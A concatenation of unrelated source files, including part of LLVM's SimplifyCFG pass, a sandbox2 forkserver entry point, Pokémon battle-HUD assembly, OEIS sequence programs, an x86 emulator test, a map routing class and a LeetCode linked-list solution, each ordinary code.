// vectorization to keep canonical loop forms for nested loops. These blocks
// can be eliminated when the pass is invoked later in the back-end.)
// Note that if BB has only one predecessor then we do not introduce new
// backedge, so we can eliminate BB.
bool NeedCanonicalLoop =
Options.NeedCanonicalLoop &&
(LoopHeaders && BB->hasNPredecessorsOrMore(2) &&
(LoopHeaders->count(BB) || LoopHeaders->count(Succ)));
BasicBlock::iterator I = BB->getFirstNonPHIOrDbg()->getIterator();
if (I->isTerminator() && BB != &BB->getParent()->getEntryBlock() &&
!NeedCanonicalLoop && TryToSimplifyUncondBranchFromEmptyBlock(BB))
return true;
// If the only instruction in the block is a seteq/setne comparison against a
// constant, try to simplify the block.
if (ICmpInst *ICI = dyn_cast<ICmpInst>(I))
if (ICI->isEquality() && isa<ConstantInt>(ICI->getOperand(1))) {
for (++I; isa<DbgInfoIntrinsic>(I); ++I)
;
if (I->isTerminator() &&
tryToSimplifyUncondBranchWithICmpInIt(ICI, Builder))
return true;
}
// See if we can merge an empty landing pad block with another which is
// equivalent.
if (LandingPadInst *LPad = dyn_cast<LandingPadInst>(I)) {
for (++I; isa<DbgInfoIntrinsic>(I); ++I)
;
if (I->isTerminator() && TryToMergeLandingPad(LPad, BI, BB))
return true;
}
// If this basic block is ONLY a compare and a branch, and if a predecessor
// branches to us and our successor, fold the comparison into the
// predecessor and use logical operations to update the incoming value
// for PHI nodes in common successor.
if (FoldBranchToCommonDest(BI, nullptr, Options.BonusInstThreshold))
return requestResimplify();
return false;
}
static BasicBlock *allPredecessorsComeFromSameSource(BasicBlock *BB) {
BasicBlock *PredPred = nullptr;
for (auto *P : predecessors(BB)) {
BasicBlock *PPred = P->getSinglePredecessor();
if (!PPred || (PredPred && PredPred != PPred))
return nullptr;
PredPred = PPred;
}
return PredPred;
}
bool SimplifyCFGOpt::SimplifyCondBranch(BranchInst *BI, IRBuilder<> &Builder) {
BasicBlock *BB = BI->getParent();
const Function *Fn = BB->getParent();
if (Fn && Fn->hasFnAttribute(Attribute::OptForFuzzing))
return false;
// Conditional branch
if (isValueEqualityComparison(BI)) {
// If we only have one predecessor, and if it is a branch on this value,
// see if that predecessor totally determines the outcome of this
// switch.
if (BasicBlock *OnlyPred = BB->getSinglePredecessor())
if (SimplifyEqualityComparisonWithOnlyPredecessor(BI, OnlyPred, Builder))
return requestResimplify();
// This block must be empty, except for the setcond inst, if it exists.
// Ignore dbg intrinsics.
auto I = BB->instructionsWithoutDebug().begin();
if (&*I == BI) {
if (FoldValueComparisonIntoPredecessors(BI, Builder))
return requestResimplify();
} else if (&*I == cast<Instruction>(BI->getCondition())) {
++I;
if (&*I == BI && FoldValueComparisonIntoPredecessors(BI, Builder))
return requestResimplify();
}
}
// Try to turn "br (X == 0 | X == 1), T, F" into a switch instruction.
if (SimplifyBranchOnICmpChain(BI, Builder, DL))
return true;
// If this basic block has dominating predecessor blocks and the dominating
// blocks' conditions imply BI's condition, we know the direction of BI.
Optional<bool> Imp = isImpliedByDomCondition(BI->getCondition(), BI, DL);
if (Imp) {
// Turn this into a branch on constant.
auto *OldCond = BI->getCondition();
ConstantInt *TorF = *Imp ? ConstantInt::getTrue(BB->getContext())
: ConstantInt::getFalse(BB->getContext());
BI->setCondition(TorF);
RecursivelyDeleteTriviallyDeadInstructions(OldCond);
return requestResimplify();
}
// If this basic block is ONLY a compare and a branch, and if a predecessor
// branches to us and one of our successors, fold the comparison into the
// predecessor and use logical operations to pick the right destination.
if (FoldBranchToCommonDest(BI, nullptr, Options.BonusInstThreshold))
return requestResimplify();
// We have a conditional branch to two blocks that are only reachable
// from BI. We know that the condbr dominates the two blocks, so see if
// there is any identical code in the "then" and "else" blocks. If so, we
// can hoist it up to the branching block.
if (BI->getSuccessor(0)->getSinglePredecessor()) {
if (BI->getSuccessor(1)->getSinglePredecessor()) {
if (HoistThenElseCodeToIf(BI, TTI))
return requestResimplify();
} else {
// If Successor #1 has multiple preds, we may be able to conditionally
// execute Successor #0 if it branches to Successor #1.
Instruction *Succ0TI = BI->getSuccessor(0)->getTerminator();
if (Succ0TI->getNumSuccessors() == 1 &&
Succ0TI->getSuccessor(0) == BI->getSuccessor(1))
if (SpeculativelyExecuteBB(BI, BI->getSuccessor(0), TTI))
return requestResimplify();
}
} else if (BI->getSuccessor(1)->getSinglePredecessor()) {
// If Successor #0 has multiple preds, we may be able to conditionally
// execute Successor #1 if it branches to Successor #0.
Instruction *Succ1TI = BI->getSuccessor(1)->getTerminator();
if (Succ1TI->getNumSuccessors() == 1 &&
Succ1TI->getSuccessor(0) == BI->getSuccessor(0))
if (SpeculativelyExecuteBB(BI, BI->getSuccessor(1), TTI))
return requestResimplify();
}
// If this is a branch on a phi node in the current block, thread control
// through this block if any PHI node entries are constants.
if (PHINode *PN = dyn_cast<PHINode>(BI->getCondition()))
if (PN->getParent() == BI->getParent())
if (FoldCondBranchOnPHI(BI, DL, Options.AC))
return requestResimplify();
// Scan predecessor blocks for conditional branches.
for (pred_iterator PI = pred_begin(BB), E = pred_end(BB); PI != E; ++PI)
if (BranchInst *PBI = dyn_cast<BranchInst>((*PI)->getTerminator()))
if (PBI != BI && PBI->isConditional())
if (SimplifyCondBranchToCondBranch(PBI, BI, DL))
return requestResimplify();
// Look for diamond patterns.
if (MergeCondStores)
if (BasicBlock *PrevBB = allPredecessorsComeFromSameSource(BB))
if (BranchInst *PBI = dyn_cast<BranchInst>(PrevBB->getTerminator()))
if (PBI != BI && PBI->isConditional())
if (mergeConditionalStores(PBI, BI, DL))
return requestResimplify();
return false;
}
/// Check if passing a value to an instruction will cause undefined behavior.
static bool passingValueIsAlwaysUndefined(Value *V, Instruction *I) {
Constant *C = dyn_cast<Constant>(V);
if (!C)
return false;
if (I->use_empty())
return false;
if (C->isNullValue() || isa<UndefValue>(C)) {
// Only look at the first use, avoid hurting compile time with long uselists
User *Use = *I->user_begin();
// Now make sure that there are no instructions in between that can alter
// control flow (eg. calls)
for (BasicBlock::iterator
i = ++BasicBlock::iterator(I),
UI = BasicBlock::iterator(dyn_cast<Instruction>(Use));
i != UI; ++i)
if (i == I->getParent()->end() || i->mayHaveSideEffects())
return false;
// Look through GEPs. A load from a GEP derived from NULL is still undefined
if (GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(Use))
if (GEP->getPointerOperand() == I)
return passingValueIsAlwaysUndefined(V, GEP);
// Look through bitcasts.
if (BitCastInst *BC = dyn_cast<BitCastInst>(Use))
return passingValueIsAlwaysUndefined(V, BC);
// Load from null is undefined.
if (LoadInst *LI = dyn_cast<LoadInst>(Use))
if (!LI->isVolatile())
return !NullPointerIsDefined(LI->getFunction(),
LI->getPointerAddressSpace());
// Store to null is undefined.
if (StoreInst *SI = dyn_cast<StoreInst>(Use))
if (!SI->isVolatile())
return (!NullPointerIsDefined(SI->getFunction(),
SI->getPointerAddressSpace())) &&
SI->getPointerOperand() == I;
// A call to null is undefined.
if (auto CS = CallSite(Use))
return !NullPointerIsDefined(CS->getFunction()) &&
CS.getCalledValue() == I;
}
return false;
}
/// If BB has an incoming value that will always trigger undefined behavior
/// (eg. null pointer dereference), remove the branch leading here.
static bool removeUndefIntroducingPredecessor(BasicBlock *BB) {
for (PHINode &PHI : BB->phis())
for (unsigned i = 0, e = PHI.getNumIncomingValues(); i != e; ++i)
if (passingValueIsAlwaysUndefined(PHI.getIncomingValue(i), &PHI)) {
Instruction *T = PHI.getIncomingBlock(i)->getTerminator();
IRBuilder<> Builder(T);
if (BranchInst *BI = dyn_cast<BranchInst>(T)) {
BB->removePredecessor(PHI.getIncomingBlock(i));
// Turn uncoditional branches into unreachables and remove the dead
// destination from conditional branches.
if (BI->isUnconditional())
Builder.CreateUnreachable();
else
Builder.CreateBr(BI->getSuccessor(0) == BB ? BI->getSuccessor(1)
: BI->getSuccessor(0));
BI->eraseFromParent();
return true;
}
// TODO: SwitchInst.
}
return false;
}
bool SimplifyCFGOpt::simplifyOnce(BasicBlock *BB) {
bool Changed = false;
assert(BB && BB->getParent() && "Block not embedded in function!");
assert(BB->getTerminator() && "Degenerate basic block encountered!");
// Remove basic blocks that have no predecessors (except the entry block)...
// or that just have themself as a predecessor. These are unreachable.
if ((pred_empty(BB) && BB != &BB->getParent()->getEntryBlock()) ||
BB->getSinglePredecessor() == BB) {
LLVM_DEBUG(dbgs() << "Removing BB: \n" << *BB);
DeleteDeadBlock(BB);
return true;
}
// Check to see if we can constant propagate this terminator instruction
// away...
Changed |= ConstantFoldTerminator(BB, true);
// Check for and eliminate duplicate PHI nodes in this block.
Changed |= EliminateDuplicatePHINodes(BB);
// Check for and remove branches that will always cause undefined behavior.
Changed |= removeUndefIntroducingPredecessor(BB);
// Merge basic blocks into their predecessor if there is only one distinct
// pred, and if there is only one distinct successor of the predecessor, and
// if there are no PHI nodes.
if (MergeBlockIntoPredecessor(BB))
return true;
if (SinkCommon && Options.SinkCommonInsts)
Changed |= SinkCommonCodeFromPredecessors(BB);
IRBuilder<> Builder(BB);
// If there is a trivial two-entry PHI node in this basic block, and we can
// eliminate it, do so now.
if (auto *PN = dyn_cast<PHINode>(BB->begin()))
if (PN->getNumIncomingValues() == 2)
Changed |= FoldTwoEntryPHINode(PN, TTI, DL);
Builder.SetInsertPoint(BB->getTerminator());
if (auto *BI = dyn_cast<BranchInst>(BB->getTerminator())) {
if (BI->isUnconditional()) {
if (SimplifyUncondBranch(BI, Builder))
return true;
} else {
if (SimplifyCondBranch(BI, Builder))
return true;
}
} else if (auto *RI = dyn_cast<ReturnInst>(BB->getTerminator())) {
if (SimplifyReturn(RI, Builder))
return true;
} else if (auto *RI = dyn_cast<ResumeInst>(BB->getTerminator())) {
if (SimplifyResume(RI, Builder))
return true;
} else if (auto *RI = dyn_cast<CleanupReturnInst>(BB->getTerminator())) {
if (SimplifyCleanupReturn(RI))
return true;
} else if (auto *SI = dyn_cast<SwitchInst>(BB->getTerminator())) {
if (SimplifySwitch(SI, Builder))
return true;
} else if (auto *UI = dyn_cast<UnreachableInst>(BB->getTerminator())) {
if (SimplifyUnreachable(UI))
return true;
} else if (auto *IBI = dyn_cast<IndirectBrInst>(BB->getTerminator())) {
if (SimplifyIndirectBr(IBI))
return true;
}
return Changed;
}
bool SimplifyCFGOpt::run(BasicBlock *BB) {
bool Changed = false;
// Repeated simplify BB as long as resimplification is requested.
do {
Resimplify = false;
// Perform one round of simplifcation. Resimplify flag will be set if
// another iteration is requested.
Changed |= simplifyOnce(BB);
} while (Resimplify);
return Changed;
}
bool llvm::simplifyCFG(BasicBlock *BB, const TargetTransformInfo &TTI,
const SimplifyCFGOptions &Options,
SmallPtrSetImpl<BasicBlock *> *LoopHeaders) {
return SimplifyCFGOpt(TTI, BB->getModule()->getDataLayout(), LoopHeaders,
Options)
.run(BB);
}
|
// Copyright 2019 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <sys/prctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <csignal>
#include <cstdlib>
#include "absl/base/attributes.h"
#include "absl/strings/str_cat.h"
#include "sandboxed_api/sandbox2/comms.h"
#include "sandboxed_api/sandbox2/forkserver.h"
#include "sandboxed_api/sandbox2/sanitizer.h"
#include "sandboxed_api/util/raw_logging.h"
#include "sandboxed_api/util/strerror.h"
int main() {
// Make sure the logs go stderr.
google::LogToStderr();
// Close all non-essential FDs to keep newly opened FD numbers consistent.
sandbox2::sanitizer::CloseAllFDsExcept(
{0, 1, 2, sandbox2::Comms::kSandbox2ClientCommsFD});
// Make the process' name easily recognizable with ps/pstree.
if (prctl(PR_SET_NAME, "S2-FORK-SERV", 0, 0, 0) != 0) {
SAPI_RAW_PLOG(WARNING, "prctl(PR_SET_NAME, 'S2-FORK-SERV')");
}
// Don't react (with stack-tracing) to SIGTERM's sent from other processes
// (e.g. from the borglet or SubProcess). This ForkServer should go down if
// the parent goes down (or if the GlobalForkServerComms is closed), which is
// assured by prctl(PR_SET_PDEATHSIG, SIGKILL) being called in the
// ForkServer::Initialize(). We don't want to change behavior of non-global
// ForkServers, hence it's called here and not in the
// ForkServer::Initialize().
struct sigaction sa;
sa.sa_handler = SIG_IGN;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGTERM, &sa, nullptr) == -1) {
SAPI_RAW_PLOG(WARNING, "sigaction(SIGTERM, sa_handler=SIG_IGN)");
}
sandbox2::Comms comms(sandbox2::Comms::kSandbox2ClientCommsFD);
sandbox2::ForkServer fork_server(&comms);
while (true) {
pid_t child_pid = fork_server.ServeRequest();
if (!child_pid) {
// FORKSERVER_FORK sent to the global forkserver. This case does not make
// sense, we thus kill the process here.
exit(0);
}
}
}
|
DrawAllPokeballs:
call LoadPartyPokeballGfx
call SetupOwnPartyPokeballs
ld a, [wIsInBattle]
dec a
ret z ; return if wild pokémon
jp SetupEnemyPartyPokeballs
DrawEnemyPokeballs:
call LoadPartyPokeballGfx
jp SetupEnemyPartyPokeballs
LoadPartyPokeballGfx:
ld de, PokeballTileGraphics
ld hl, vSprites + $310
lb bc, BANK(PokeballTileGraphics), (PokeballTileGraphicsEnd - PokeballTileGraphics) / $10
jp CopyVideoData
SetupOwnPartyPokeballs:
call PlacePlayerHUDTiles
ld hl, wPartyMon1
ld de, wPartyCount
call SetupPokeballs
ld a, $60
ld hl, wBaseCoordX
ld [hli], a
ld [hl], a
ld a, 8
ld [wHUDPokeballGfxOffsetX], a
ld hl, wOAMBuffer
jp WritePokeballOAMData
SetupEnemyPartyPokeballs:
call PlaceEnemyHUDTiles
ld hl, wEnemyMons
ld de, wEnemyPartyCount
call SetupPokeballs
ld hl, wBaseCoordX
ld a, $48
ld [hli], a
ld [hl], $20
ld a, -8
ld [wHUDPokeballGfxOffsetX], a
ld hl, wOAMBuffer + PARTY_LENGTH * 4
jp WritePokeballOAMData
SetupPokeballs:
ld a, [de]
push af
ld de, wBuffer
ld c, PARTY_LENGTH
ld a, $34 ; empty pokeball
.emptyloop
ld [de], a
inc de
dec c
jr nz, .emptyloop
pop af
ld de, wBuffer
.monloop
push af
call PickPokeball
inc de
pop af
dec a
jr nz, .monloop
ret
PickPokeball:
inc hl
ld a, [hli]
and a
jr nz, .alive
ld a, [hl]
and a
ld b, $33 ; crossed ball (fainted)
jr z, .done_fainted
.alive
inc hl
inc hl
ld a, [hl] ; status
and a
ld b, $32 ; black ball (status)
jr nz, .done
dec b ; regular ball
jr .done
.done_fainted
inc hl
inc hl
.done
ld a, b
ld [de], a
ld bc, wPartyMon2 - wPartyMon1Status
add hl, bc ; next mon struct
ret
WritePokeballOAMData:
ld de, wBuffer
ld c, PARTY_LENGTH
.loop
ld a, [wBaseCoordY]
ld [hli], a
ld a, [wBaseCoordX]
ld [hli], a
ld a, [de]
ld [hli], a
xor a
ld [hli], a
ld a, [wBaseCoordX]
ld b, a
ld a, [wHUDPokeballGfxOffsetX]
add b
ld [wBaseCoordX], a
inc de
dec c
jr nz, .loop
ret
PlacePlayerHUDTiles:
ld hl, PlayerBattleHUDGraphicsTiles
ld de, wHUDGraphicsTiles
ld bc, $3
call CopyData
coord hl, 18, 10
ld de, -1
jr PlaceHUDTiles
PlayerBattleHUDGraphicsTiles:
; The tile numbers for specific parts of the battle display for the player's pokemon
db $73 ; unused ($73 is hardcoded into the routine that uses these bytes)
db $77 ; lower-right corner tile of the HUD
db $6F ; lower-left triangle tile of the HUD
PlaceEnemyHUDTiles:
ld hl, EnemyBattleHUDGraphicsTiles
ld de, wHUDGraphicsTiles
ld bc, $3
call CopyData
coord hl, 1, 2
ld de, $1
jr PlaceHUDTiles
EnemyBattleHUDGraphicsTiles:
; The tile numbers for specific parts of the battle display for the enemy
db $73 ; unused ($73 is hardcoded in the routine that uses these bytes)
db $74 ; lower-left corner tile of the HUD
db $78 ; lower-right triangle tile of the HUD
PlaceHUDTiles:
ld [hl], $73
ld bc, SCREEN_WIDTH
add hl, bc
ld a, [wHUDGraphicsTiles + 1] ; leftmost tile
ld [hl], a
ld a, 8
.loop
add hl, de
ld [hl], $76
dec a
jr nz, .loop
add hl, de
ld a, [wHUDGraphicsTiles + 2] ; rightmost tile
ld [hl], a
ret
SetupPlayerAndEnemyPokeballs:
call LoadPartyPokeballGfx
ld hl, wPartyMons
ld de, wPartyCount
call SetupPokeballs
ld hl, wBaseCoordX
ld a, $50
ld [hli], a
ld [hl], $40
ld a, 8
ld [wHUDPokeballGfxOffsetX], a
ld hl, wOAMBuffer
call WritePokeballOAMData
ld hl, wEnemyMons
ld de, wEnemyPartyCount
call SetupPokeballs
ld hl, wBaseCoordX
ld a, $50
ld [hli], a
ld [hl], $68
ld hl, wOAMBuffer + $18
jp WritePokeballOAMData
; four tiles: pokeball, black pokeball (status ailment), crossed out pokeball (fainted) and pokeball slot (no mon)
PokeballTileGraphics::
INCBIN "gfx/pokeball.2bpp"
PokeballTileGraphicsEnd:
|
#include "Capstan/Platform/Clock.h"
#include "Capstan/Timer.h"
namespace Capstan
{
Timer::Timer (void) { };
Timer::~Timer (void) { };
void Timer::Step (void)
{
frames++;
previous = current;
current = Platform::GetTime();
delta = current - previous;
};
Real64 Timer::GetDelta (void)
{
return delta;
};
}
|
/*
Copyright (c) 2002-2010 Tampere University.
This file is part of TTA-Based Codesign Environment (TCE).
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
*/
/**
* @file ProjectFileGenerator.cc
*
* Implementation of ProjectFileGenerator class.
*
* @author Otto Esko 2010 (otto.esko-no.spam-tut.fi)
* @note rating: red
*/
#include <vector>
#include <iostream>
#include "ProjectFileGenerator.hh"
#include "PlatformIntegrator.hh"
#include "StringTools.hh"
using PlatInt::SignalMapping;
ProjectFileGenerator::ProjectFileGenerator(
TCEString coreEntity,
const PlatformIntegrator* integrator):
coreEntity_(coreEntity), integrator_(integrator) {
}
ProjectFileGenerator::~ProjectFileGenerator() {
for (unsigned int i = 0; i < signalMap_.size(); i++) {
delete signalMap_.at(i);
}
}
void
ProjectFileGenerator::addHdlFile(const TCEString& file) {
hdlFiles_.push_back(file);
}
void
ProjectFileGenerator::addHdlFiles(const std::vector<TCEString>& files) {
for (unsigned int i = 0; i < files.size(); i++) {
hdlFiles_.push_back(files.at(i));
}
}
void
ProjectFileGenerator::addMemInitFile(const TCEString& memInit) {
memInitFiles_.push_back(memInit);
}
void
ProjectFileGenerator::addSignalMapping(const SignalMapping& mapping) {
SignalMapping* signalMap = new SignalMapping(mapping);
signalMap_.push_back(signalMap);
}
const std::vector<TCEString>&
ProjectFileGenerator::hdlFileList() const {
return hdlFiles_;
}
const std::vector<TCEString>&
ProjectFileGenerator::memInitFileList() const {
return memInitFiles_;
}
const PlatformIntegrator*
ProjectFileGenerator::integrator() const {
return integrator_;
}
int
ProjectFileGenerator::signalMappingCount() const {
return signalMap_.size();
}
const SignalMapping*
ProjectFileGenerator::signalMapping(int index) const {
return signalMap_.at(index);
}
TCEString
ProjectFileGenerator::extractFUName(
const TCEString& port,
const TCEString& delimiter) const {
TCEString::size_type pos = port.find(delimiter);
if (pos == TCEString::npos || pos == 0) {
return port;
}
TCEString fuName = port.substr(0, pos);
return StringTools::trim(fuName);
}
|
; A027880: a(n) = Product_{i=1..n} (12^i - 1).
; Submitted by Jon Maiga
; 1,11,1573,2716571,56328099685,14016177372718235,41852067359921313500005,1499635200191700040518673659035,644815685260091508353787979063721364325,3327107302821620489265827570792988872583047378075,206005714677809431432951707568304808958510683323534959610725,153063970414970186803279291923480642866849824198302732421649134020818075,1364733735228605740919179580222904761024935285814254938554857165509348609009306209125
mov $1,2
lpb $0
sub $0,1
mul $2,12
add $2,11
mul $1,$2
lpe
div $1,2
mov $0,$1
|
; A136763: a(n) = leading digit of n! in base 13.
; 1,1,2,6,1,9,4,2,1,12,9,8,7,7,8,9,11,1,1,2,3,5,9,1,2,4,9,1,3,7,1,3,7,1,3,10,2,6,1,4,1,3,10,2,9,2,8,2,8,2,9,2,11,3,1,4,1,7,2,11,4,1,6,2,12,4,1,9,3,1,8,3,1,8,3,1,9,4,2,12,5,2,1,8,4,2,1,7,3,2,1,7,4,2,1,9,5,3,1,1
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
lpb $0
mov $1,$0
div $0,13
mul $1,2
add $1,1
lpe
sub $1,3
div $1,2
add $1,1
mov $0,$1
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x4142A4A7A6A84748",
"RBX": "0x51525354181B1E21",
"RCX": "0x61626365282B2E31",
"RDX": "0x6162636465666569"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 3], rax
clc
adc word [rdx + 8 * 0 + 2], 0x6162
clc
adc dword [rdx + 8 * 1 + 0], 0x61626364
clc
adc qword [rdx + 8 * 2 + 0], 0x61626364
clc
adc qword [rdx + 8 * 3 + 0], -256
stc
adc word [rdx + 8 * 0 + 4], 0x6162
stc
adc dword [rdx + 8 * 1 + 0], 0x61626364
stc
adc qword [rdx + 8 * 2 + 0], 0x61626364
stc
adc qword [rdx + 8 * 3 + 0], -256
mov rax, [rdx + 8 * 0]
mov rbx, [rdx + 8 * 1]
mov rcx, [rdx + 8 * 2]
mov rdx, [rdx + 8 * 3]
hlt
|
#include "routing/regions_router.hpp"
#include "routing/dummy_world_graph.hpp"
#include "routing/index_graph_loader.hpp"
#include "routing/junction_visitor.hpp"
#include "routing/regions_sparse_graph.hpp"
#include "routing/routing_helpers.hpp"
#include "routing_common/car_model.hpp"
#include "base/scope_guard.hpp"
namespace routing
{
RegionsRouter::RegionsRouter(CountryFileGetterFn const & countryFileGetter,
std::shared_ptr<NumMwmIds> numMwmIds, DataSource & dataSource,
RouterDelegate const & delegate, Checkpoints const & checkpoints)
: m_countryFileGetterFn(countryFileGetter)
, m_numMwmIds(std::move(numMwmIds))
, m_dataSource(dataSource)
, m_checkpoints(checkpoints)
, m_delegate(delegate)
{
CHECK(m_countryFileGetterFn, ());
}
template <typename Vertex, typename Edge, typename Weight>
RouterResultCode RegionsRouter::ConvertResult(
typename AStarAlgorithm<Vertex, Edge, Weight>::Result result) const
{
switch (result)
{
case AStarAlgorithm<Vertex, Edge, Weight>::Result::NoPath: return RouterResultCode::RouteNotFound;
case AStarAlgorithm<Vertex, Edge, Weight>::Result::Cancelled: return RouterResultCode::Cancelled;
case AStarAlgorithm<Vertex, Edge, Weight>::Result::OK: return RouterResultCode::NoError;
}
UNREACHABLE();
}
RouterResultCode RegionsRouter::CalculateSubrouteNoLeapsMode(IndexGraphStarter & starter,
std::vector<Segment> & subroute,
m2::PointD const & startCheckpoint,
m2::PointD const & finishCheckpoint)
{
using Vertex = IndexGraphStarter::Vertex;
using Edge = IndexGraphStarter::Edge;
using Weight = IndexGraphStarter::Weight;
double constexpr almostZeroContribution = 1e-7;
auto progress = std::make_shared<AStarProgress>();
AStarSubProgress subProgress(mercator::ToLatLon(startCheckpoint),
mercator::ToLatLon(finishCheckpoint), almostZeroContribution);
progress->AppendSubProgress(subProgress);
SCOPE_GUARD(eraseProgress, [&progress]() { progress->PushAndDropLastSubProgress(); });
using Visitor = JunctionVisitor<IndexGraphStarter>;
uint32_t constexpr kVisitPeriod = 40;
Visitor visitor(starter, m_delegate, kVisitPeriod, progress);
AStarAlgorithm<Vertex, Edge, Weight>::Params<Visitor, AStarLengthChecker> params(
starter, starter.GetStartSegment(), starter.GetFinishSegment(), nullptr /* prevRoute */,
m_delegate.GetCancellable(), std::move(visitor), AStarLengthChecker(starter));
RoutingResult<Vertex, Weight> routingResult;
AStarAlgorithm<Vertex, Edge, Weight> algorithm;
RouterResultCode const result =
ConvertResult<Vertex, Edge, Weight>(algorithm.FindPathBidirectional(params, routingResult));
if (result != RouterResultCode::NoError)
return result;
subroute = std::move(routingResult.m_path);
return RouterResultCode::NoError;
}
void RegionsRouter::Do()
{
m_mwmNames.clear();
RegionsSparseGraph sparseGraph(m_countryFileGetterFn, m_numMwmIds, m_dataSource);
sparseGraph.LoadRegionsSparseGraph();
std::unique_ptr<WorldGraph> graph = std::make_unique<DummyWorldGraph>();
std::unique_ptr<IndexGraphStarter> starter;
for (size_t i = 0; i < m_checkpoints.GetNumSubroutes(); ++i)
{
auto const & [pointFrom, mwmFrom] = GetCheckpointRegion(i);
auto const & [pointTo, mwmTo] = GetCheckpointRegion(i + 1);
if (mwmFrom == mwmTo)
continue;
std::optional<FakeEnding> const startFakeEnding =
sparseGraph.GetFakeEnding(m_checkpoints.GetPoint(i));
if (!startFakeEnding)
return;
std::optional<FakeEnding> const finishFakeEnding =
sparseGraph.GetFakeEnding(m_checkpoints.GetPoint(i + 1));
if (!finishFakeEnding)
return;
IndexGraphStarter subrouteStarter(*startFakeEnding, *finishFakeEnding,
0 /* fakeNumerationStart */, false /* isStartSegmentStrictForward */,
*graph);
subrouteStarter.GetGraph().SetMode(WorldGraphMode::NoLeaps);
subrouteStarter.SetRegionsGraphMode(std::make_shared<RegionsSparseGraph>(sparseGraph));
std::vector<Segment> subroute;
auto const result = CalculateSubrouteNoLeapsMode(
subrouteStarter, subroute, m_checkpoints.GetPoint(i), m_checkpoints.GetPoint(i + 1));
if (result != RouterResultCode::NoError)
return;
for (auto const & s : subroute)
{
for (bool front : {false, true})
{
LatLonWithAltitude const & point = subrouteStarter.GetJunction(s, front);
std::string name = m_countryFileGetterFn(mercator::FromLatLon(point.GetLatLon()));
if (name.empty() && !IndexGraphStarter::IsFakeSegment(s))
name = m_numMwmIds->GetFile(s.GetMwmId()).GetName();
m_mwmNames.emplace(name);
}
}
}
}
std::unordered_set<std::string> const & RegionsRouter::GetMwmNames() const { return m_mwmNames; }
std::pair<m2::PointD, std::string> RegionsRouter::GetCheckpointRegion(size_t index) const
{
m2::PointD const & point = m_checkpoints.GetPoint(index);
std::string const mwm = m_countryFileGetterFn(point);
return {point, mwm};
}
} // namespace routing
|
; A241566: Number of 2-element subsets of {1,...,n} whose sum has more than 2 divisors.
; 0,0,1,2,5,8,12,17,22,27,34,41,50,60,70,80,92,105,119,134,149,164,181,198,216,235,254,274,296,318,341,365,390,415,441,467,494,522,551,580,611,642,675,709,743,778,815,853,891,930,969,1008,1049,1090,1131
lpb $0
mov $2,$0
sub $0,1
seq $2,307912 ; a(n) = n - 1 - pi(2*n-1) + pi(n), where pi is the prime counting function.
add $1,$2
lpe
mov $0,$1
|
// LeetCode430-FlattenAMultilevelDoublyLinkedList.cpp
// Ad
// Init: 19Mar15
/* -----------------------------------------------------------------------------
430. Flatten a Multilevel Doubly Linked List
Medium
Linked List, Depth-first Search
You are given a doubly linked list which in addition to the next and previous pointers, it could have a child pointer, which may or may not point to a separate doubly linked list.
These child lists may have one or more children of their own, and so on, to produce a multilevel data structure, as shown in the example below.
Flatten the list so that all the nodes appear in a single-level, doubly linked list.
You are given the head of the first level of the list.
Example:
----------------------------------------
Input:
1---2---3---4---5---6--NULL
|
7---8---9---10--NULL
|
11--12--NULL
Output:
1-2-3-7-8-11-12-9-10-4-5-6-NULL
----------------------------------------
----------------------------------------------------------------------------- */
// Definition for a Node.
struct Node
{
int val;
Node *prev;
Node *next;
Node *child;
Node() {}
Node(int _val, Node *_prev, Node *_next, Node *_child)
{
val = _val;
prev = _prev;
next = _next;
child = _child;
}
};
// Solution-0 =================================================================j
// Runtime: 96 ms, faster than 100.00% of C++ online submissions for Flatten a Multilevel Doubly Linked List.
// Memory Usage: 31.3 MB, less than 5.00% of C++ online submissions for Flatten a Multilevel Doubly Linked List.
// Algorithm: Recursion.
// Time Complexity: O(n).
// Space Complexity: O(1).
class Solution
{
public:
Node *flatten(Node *head)
{
if (!head)
return nullptr;
Node *p = head;
helper(p);
return head;
}
private:
void helper(Node *&p)
{
if (!p->child && !p->next)
return;
Node *n = p->next;
if (p->child)
{
p->child->prev = p;
p->next = p->child;
p->child = nullptr;
p = p->next;
helper(p);
if (n)
{
n->prev = p;
p->next = n;
}
}
if (p->next)
{
p = p->next;
helper(p);
}
}
};
static const auto speedup = []() { ios::sync_with_stdio(false); std::cout.sync_with_stdio(false); std::cin.tie(nullptr); return 0; }();
|
; Z88 Small C+ Run time Library
; l_gchar variant to be used sometimes by the peephole optimizer
;
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_gcharsp
l_gcharsp:
add hl,sp
inc hl
inc hl
